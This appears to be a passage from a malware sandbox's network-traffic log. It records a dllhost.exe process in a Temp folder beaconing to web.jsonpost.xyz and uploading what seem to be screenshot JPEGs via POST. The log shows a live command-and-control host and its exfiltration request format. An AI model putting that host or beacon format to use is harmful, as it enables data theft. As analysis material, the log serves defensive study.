Nov 29, 2024 01:52:34.866080046 CET	4944	OUT	Data Raw: fa 13 57 d0 70 a5 49 47 1d c8 9e 8d 3b 9f 3d c4 f4 e3 2c 17 33 dd 34 73 54 51 45 7e 90 7e 7c 14 51 45 00 15 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 e7 b5 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 f3 f9 ef fc ba f5 7f 91 f5 fc 2d fc 3c 4f a4 7f Data Ascii: WpIG;=,34sTQE~~\|QE__?#'__?#'-<O15_F+4VSNg9=m[HET#r5{CN%Oor/"y{F3K u%y{&3am#vsWFbkbU)#OH46I(
Nov 29, 2024 01:52:34.866095066 CET	2472	OUT	Data Raw: 61 d6 75 4d 7a e8 4e fa 58 f3 dd ae b9 fb 3c 96 85 48 45 56 e8 78 2a a1 41 c8 38 18 18 e3 30 59 ea 3a bd a5 b6 a5 69 f6 a9 74 b8 b4 e8 84 12 5b 82 52 de 45 8c 79 a1 c8 e2 36 df b9 8e 71 9c 83 d0 d5 98 f4 c4 b6 b9 4b ab 29 e7 b4 b8 4c ed 96 09 0a Data Ascii: auMzNX<HEVxA80Y:it[REy6qK)L2`5`ziY/3YA;l&]OMZXEY~oU0n97\"YMUl4K;EFzl`<XJ3vylH;J},s[
Nov 29, 2024 01:52:34.866229057 CET	2472	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:52:34.866266966 CET	2472	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
Nov 29, 2024 01:52:34.866326094 CET	4944	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:52:34.866420031 CET	3708	OUT	Data Raw: b4 50 01 8a 31 45 14 0c 4a 4a 75 25 08 04 a2 8a 51 4c 02 93 14 b4 50 02 77 a2 97 14 94 c6 18 a4 c7 34 b8 a2 98 09 45 2d 14 00 94 98 a5 a3 19 a6 02 52 53 e9 31 45 c6 37 9a 33 ff 00 d6 a5 a3 14 0c 4c e3 a5 2e 73 f7 80 3f 5a 31 48 45 00 21 8e 36 f5 Data Ascii: P1EJJu%QLPw4E-RS1E73L.s?Z1HE!6SL00aRbP4 e# UN9JWJw)Lz1Q2tRLS9L\|~qAS1I?1EGf&FFi1GzVH#E+`O9!`jp9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49779	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:35.951947927 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49780	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:36.334525108 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----75fc820eeb92975bff3e841961ce7c5b Host: web.jsonpost.xyz Content-Length: 98287 Cache-Control: no-cache
Nov 29, 2024 01:52:36.334578991 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 35 66 63 38 32 30 65 65 62 39 32 39 37 35 62 66 66 33 65 38 34 31 39 36 31 63 65 37 63 35 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------75fc820eeb92975bff3e841961ce7c5bContent-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:36.334667921 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:36.334692955 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:36.454667091 CET	4944	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:36.454745054 CET	4944	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:52:36.454868078 CET	4944	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:52:36.454981089 CET	4944	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:52:36.455014944 CET	1236	OUT	Data Raw: b4 50 01 8a 31 45 14 0c 4a 4a 75 25 08 04 a2 8a 51 4c 02 93 14 b4 50 02 77 a2 97 14 94 c6 18 a4 c7 34 b8 a2 98 09 45 2d 14 00 94 98 a5 a3 19 a6 02 52 53 e9 31 45 c6 37 9a 33 ff 00 d6 a5 a3 14 0c 4c e3 a5 2e 73 f7 80 3f 5a 31 48 45 00 21 8e 36 f5 Data Ascii: P1EJJu%QLPw4E-RS1E73L.s?Z1HE!6SL00aRbP4 e# UN9JWJw)Lz1Q2tRLS9L\|~qAS1I?1EGf&FFi1GzVH#E+`O9!`jp9
Nov 29, 2024 01:52:36.455142021 CET	2472	OUT	Data Raw: 0f 80 f5 1d 88 88 3c d4 e1 2c 24 b4 1f 7d 3f 81 f9 3f 5e 9d bb 57 9b d7 a9 78 a2 c6 1d 3f c1 77 f1 42 f7 0c a5 e3 62 67 b8 92 66 cf 98 9f c4 ec 4e 38 e9 9c 57 97 57 6e 50 f9 a3 37 e6 78 1c 42 b9 6a 53 5e 42 51 4b 45 7b 07 ce 89 45 29 a4 a0 62 51 Data Ascii: <,$}??^Wx?wBbgfN8WWnP7xBjS^BQKE{E)bQKI@QL(0(1PQPIKI@`%(L(4Q@E-%1!4QE))i()))h((QERZ)QE0(Q@PhSH)QERRLb-'z`
Nov 29, 2024 01:52:36.574765921 CET	2472	OUT	Data Raw: 70 32 a4 11 83 d4 73 59 8b 05 cc 52 69 eb a7 59 3d bd 9d 93 4c ef 05 dc de 71 b9 32 a8 47 0e ca a9 f2 94 01 40 00 63 93 9c d3 a4 b7 b8 11 5b c3 a3 db 4f a7 88 2e 63 ba 32 dc 4e 26 91 9e 3c f9 6b 90 aa 02 8c 93 8c 64 93 c9 e8 2b c8 e6 c7 37 75 7e Data Ascii: p2sYRiY=Lq2G@c[O.c2N&<kd+7u~oO,Q2t[tx>$[b((r<M"4`qHbOrZ\ZZ[%t~d r\]Amf+i,6{W.\|98QR+KSHS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49781	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:37.376539946 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49782	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:37.883363008 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:37.883363008 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:37.883435965 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:37.883460045 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:38.003555059 CET	2472	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:38.004096031 CET	18540	OUT	Data Raw: fa 13 57 d0 70 a5 49 47 1d c8 9e 8d 3b 9f 3d c4 f4 e3 2c 17 33 dd 34 73 54 51 45 7e 90 7e 7c 14 51 45 00 15 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 e7 b5 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 f3 f9 ef fc ba f5 7f 91 f5 fc 2d fc 3c 4f a4 7f Data Ascii: WpIG;=,34sTQE~~\|QE__?#'__?#'-<O15_F+4VSNg9=m[HET#r5{CN%Oor/"y{F3K u%y{&3am#vsWFbkbU)#OH46I(
Nov 29, 2024 01:52:38.017527103 CET	2472	OUT	Data Raw: 0f 80 f5 1d 88 88 3c d4 e1 2c 24 b4 1f 7d 3f 81 f9 3f 5e 9d bb 57 9b d7 a9 78 a2 c6 1d 3f c1 77 f1 42 f7 0c a5 e3 62 67 b8 92 66 cf 98 9f c4 ec 4e 38 e9 9c 57 97 57 6e 50 f9 a3 37 e6 78 1c 42 b9 6a 53 5e 42 51 4b 45 7b 07 ce 89 45 29 a4 a0 62 51 Data Ascii: <,$}??^Wx?wBbgfN8WWnP7xBjS^BQKE{E)bQKI@QL(0(1PQPIKI@`%(L(4Q@E-%1!4QE))i()))h((QERZ)QE0(Q@PhSH)QERRLb-'z`
Nov 29, 2024 01:52:38.123980045 CET	4944	OUT	Data Raw: 70 32 a4 11 83 d4 73 59 8b 05 cc 52 69 eb a7 59 3d bd 9d 93 4c ef 05 dc de 71 b9 32 a8 47 0e ca a9 f2 94 01 40 00 63 93 9c d3 a4 b7 b8 11 5b c3 a3 db 4f a7 88 2e 63 ba 32 dc 4e 26 91 9e 3c f9 6b 90 aa 02 8c 93 8c 64 93 c9 e8 2b c8 e6 c7 37 75 7e Data Ascii: p2sYRiY=Lq2G@c[O.c2N&<kd+7u~oO,Q2t[tx>$[b((r<M"4`qHbOrZ\ZZ[%t~d r\]Amf+i,6{W.\|98QR+KSHS
Nov 29, 2024 01:52:38.124020100 CET	2472	OUT	Data Raw: 1d 09 af 3b db 62 7f e7 e3 ff 00 c0 bf e0 9e c7 d5 70 7f f3 e9 7f e0 3f f0 0f 2f d4 74 eb 8d 32 ed ad ae 17 0c bd 08 e8 c3 d4 55 4a ed bc 51 02 cd e1 9b 2d 4c 5d 4f 32 ce 63 68 c4 c9 18 2a ae a5 bf 84 75 e9 df 15 c4 d7 d1 e0 71 12 af 4a f3 5a a7 Data Ascii: ;bp?/t2UJQ-L]O2ch*uqJZcs\$0iu((JZ(QE%QEQELQEQEQEJ(@)(QAQECEPIKI%-%;QEQIK@QEE0(%-(0J(J)))i(-%R)
Nov 29, 2024 01:52:38.124106884 CET	2472	OUT	Data Raw: 18 1e f5 f1 d4 f2 0a f4 6b cd c5 a7 17 b3 fd 3d 4f b9 8f 11 e1 a7 46 1c e9 a9 75 5f af a7 e2 7a 5d cb 28 8a 72 c4 60 48 b9 cf 6f bb 55 35 d6 56 f0 de a0 54 82 3c 86 e4 7d 2b 93 b8 f1 9c 73 68 b7 10 c1 1c d6 d7 ae 55 91 8b f9 8b 90 57 3c 9e 7a 0a Data Ascii: k=OFu_z](r`HoU5VT<}+shUW<z`~e~e&fN+;8'{WQE\|:U\k!u<N1czaFurA]Q]QQCG'T`g\|
Nov 29, 2024 01:52:38.165654898 CET	28428	OUT	Data Raw: 2b 48 ed 10 48 b1 e9 67 ca b1 67 2e 45 cc 4c 3e 66 c7 45 60 e3 70 e9 f2 b0 1f c2 29 c3 1d 8a 93 b5 ba f6 e9 df fa f5 15 4c b3 03 15 74 f6 5d fa db 6f eb d0 db 86 71 31 41 98 e3 77 79 90 24 ac 54 93 14 65 e4 e0 03 f7 40 03 ea 47 be 11 ae 55 22 66 Data Ascii: +HHgg.EL>fE`p)Lt]oq1Awy$Te@GU"fI#RXws9L,Y @sg9=}+2wuEsEvhDNy!]'#skqotrg5ey#jeITV.%)e`?N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49783	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:38.796008110 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49784	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:39.390439034 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:39.390506983 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:39.390568018 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:39.390592098 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:39.510729074 CET	4944	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:39.510785103 CET	2472	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:52:39.510811090 CET	2472	OUT	Data Raw: 61 d6 75 4d 7a e8 4e fa 58 f3 dd ae b9 fb 3c 96 85 48 45 56 e8 78 2a a1 41 c8 38 18 18 e3 30 59 ea 3a bd a5 b6 a5 69 f6 a9 74 b8 b4 e8 84 12 5b 82 52 de 45 8c 79 a1 c8 e2 36 df b9 8e 71 9c 83 d0 d5 98 f4 c4 b6 b9 4b ab 29 e7 b4 b8 4c ed 96 09 0a Data Ascii: auMzNX<HEVxA80Y:it[REy6qK)L2`5`ziY/3YA;l&]OMZXEY~oU0n97\"YMUl4K;EFzl`<XJ3vylH;J},s[
Nov 29, 2024 01:52:39.510902882 CET	4944	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:52:39.511018991 CET	4944	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:52:39.511110067 CET	3708	OUT	Data Raw: b4 50 01 8a 31 45 14 0c 4a 4a 75 25 08 04 a2 8a 51 4c 02 93 14 b4 50 02 77 a2 97 14 94 c6 18 a4 c7 34 b8 a2 98 09 45 2d 14 00 94 98 a5 a3 19 a6 02 52 53 e9 31 45 c6 37 9a 33 ff 00 d6 a5 a3 14 0c 4c e3 a5 2e 73 f7 80 3f 5a 31 48 45 00 21 8e 36 f5 Data Ascii: P1EJJu%QLPw4E-RS1E73L.s?Z1HE!6SL00aRbP4 e# UN9JWJw)Lz1Q2tRLS9L\|~qAS1I?1EGf&FFi1GzVH#E+`O9!`jp9
Nov 29, 2024 01:52:39.630887985 CET	4944	OUT	Data Raw: 70 32 a4 11 83 d4 73 59 8b 05 cc 52 69 eb a7 59 3d bd 9d 93 4c ef 05 dc de 71 b9 32 a8 47 0e ca a9 f2 94 01 40 00 63 93 9c d3 a4 b7 b8 11 5b c3 a3 db 4f a7 88 2e 63 ba 32 dc 4e 26 91 9e 3c f9 6b 90 aa 02 8c 93 8c 64 93 c9 e8 2b c8 e6 c7 37 75 7e Data Ascii: p2sYRiY=Lq2G@c[O.c2N&<kd+7u~oO,Q2t[tx>$[b((r<M"4`qHbOrZ\ZZ[%t~d r\]Amf+i,6{W.\|98QR+KSHS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49785	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:40.188575983 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49786	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:40.250339985 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:40.250339985 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
